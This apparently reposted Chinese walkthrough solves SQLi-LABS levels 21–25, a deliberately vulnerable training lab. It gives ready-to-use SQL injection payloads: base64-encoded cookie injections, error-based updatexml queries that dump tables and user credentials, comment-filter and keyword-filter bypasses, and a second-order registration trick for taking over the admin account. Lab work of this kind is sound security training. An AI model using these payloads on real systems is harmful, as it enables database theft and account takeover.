当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less21-25详细通关攻略

less 21 Cookie injection-base64 encoded-single quotes and parenthesis

1.判断注入点

使用我们自己已经知道的用户名和密码进行登录后页面显示给出Cookie值,也就是说Cookie是可以回显的接下来我们抓包尝试。并且这里的RHVtYg==跟base64编码相似我们尝试对其进行解码,确实是base64编码。所以我们稍后所以注入语句都要进行base64编码。

2.重新访问进行抓包发送到重放器查看

更改请求数据包查看页面是否存在变化,是可以改变的,接下来我们就可以尝试进行注入了。

2.判断闭合方式

根据下列语句编码后执行结果可以知道闭合方式为 ') # 执行语句要使用base64编码

') or 1=2 #				两个条件都不成立故都为错
') or 1=1 #				1=1成立所以页面回显正确

3.判断注入方法

在我们刚刚尝试闭合方式时可以看到给我们的报错信息为存在语法错误,所以我们可以使用报错注入然后进行base64编码进行注入

4.构造报错注入语句获取数据库名称

') and updatexml(1,concat(1,database()),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLGRhdGFiYXNlKCkpLDMpICM=		//base64编码

5.构造语句查询数据库中的表信息

') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDMpICM=

6.查询字段名

') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSwzKSAj

7.查询具体信息

') and updatexml(1,concat(1,(select group_concat(username,password) from users)),2) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMikgIw==

less 22 injection-base64 encoded-double quotes

该关卡与上一关除了闭合方式为“ # 外其他的一模一样,登录到里面的内容也一模一样所以就不凑字数了,大家将上述代码的闭合方式改一下进行编码即可。

less 23 GET -Error based -strip comments

1.判断闭合方式

该关对注释符号进行了过滤无论是# --+ 都无法使用所以我们换一个语句

1' and 1=1 or'		页面正常
1' and 1=2 or'		页面不正常

1.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

2.构造报错注入语句获取数据库名称

' and updatexml(1,concat(1,database()),3) or'

3.构造语句查询数据库中的表信息

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) or'

4.查询字段名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) or'

5.查询具体信息

' and updatexml(1,concat(1,(select group_concat(username,password) from users)),2) or'

less 24 POST-Second 0der injection *Real treat * -Stored injections

1.该关卡页面是一个登录界面并且给出了密码重置和账号注册的功能。首先尝试二次注入。

2.二次注入就是在我们注册账号时使用的用户名为攻击语句,会造成重置密码时后续语句注释的情况,这样我们修改后的密码就是数据库原有账号的密码。

以admin举例,注册时admin'# 重置密码时代码执行会将#当做注释符号解析。

3.使用admin'#注册

注册成功修改密码。

使用修改后的密码登录这样就可以进入管理员账号。

less 25 GET- Error based -All your OR & AND belong to us -string single quote

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or过滤掉了,那我们就给他构造一个aandnd进行绕过。

?id=2' aandnd 1=1 --+
?id=2' aandnd 1=2 --+

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.判断列数和回显点

1' oorrder by 4 --+1' oorrder by 3 --+//根据页面条件满足变化,可以确定有三列。
-1' union select 1,2,3 --+

4.构造报错注入语句获取数据库名称

-1' aandnd updatexml(1,concat(1,database()),3) --+

5.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤。

-1' aandnd updatexml(1,concat(1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')),3) --+

6.查询字段名

-1' aandnd updatexml(1,concat(1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users')),3) --+

7.查询具体信息

password中的or。

-1' aandnd updatexml(1,concat(1,(select group_concat(username,passwoorrd) from users)),2) --+

http://www.dtcms.com/a/301196.html

相关文章:

  • Ubuntu普通用户环境异常问题
  • Linux->自定义shell
  • Acrobat 文件夹级脚本扩展表单功能
  • 【奔跑吧!Linux 内核(第二版)】第4章:内核编译和调试
  • 物联网安装调试-物联网网关
  • Python数据分析基础(二)
  • 两个函数的卷积
  • Kafka——消费者组消费进度监控都怎么实现?
  • 数字签名与数字证书
  • [leetcode] 图论算法(DFS和BFS)
  • Java“class file contains wrong class”解决
  • NX868NX872美光固态闪存NX873NX876
  • 疯狂星期四文案网第21天运营日记
  • 10.模块与包:站在巨人的肩膀上
  • 去除视频字幕 5: 使用 ProPainter, 记录探索过程
  • red靶机
  • MCU 通用AT指令处理框架
  • 洛谷 P2114 [NOI2014] 起床困难综合症-普及+/提高
  • AutoLabelImg:高效的数据自动化标注工具和下载
  • 风光氢系统仿真与容量扩展设计
  • 飞牛NAS本地化部署n8n打造个人AI工作流中心
  • 识别身份证用证件号或姓名改名,如何ocr识别身份证复印件并导出至excel表格?身份证读取软件导出到Excel乱码怎么解决?
  • LLM 多语言数据集
  • 华为OD机试_2025 B卷_书籍叠放(Python,200分)(附详细解题思路)
  • Coze Studio概览(一)
  • 力扣131:分割回文串
  • 详解赛灵思SRIO IP并提供一种FIFO封装SRIO的收发控制器仿真验证
  • 2025年Agent创业实战指南:从0到1打造高增长AI智能体项目
  • FPGA IP升级
  • input_handler和input_dev详解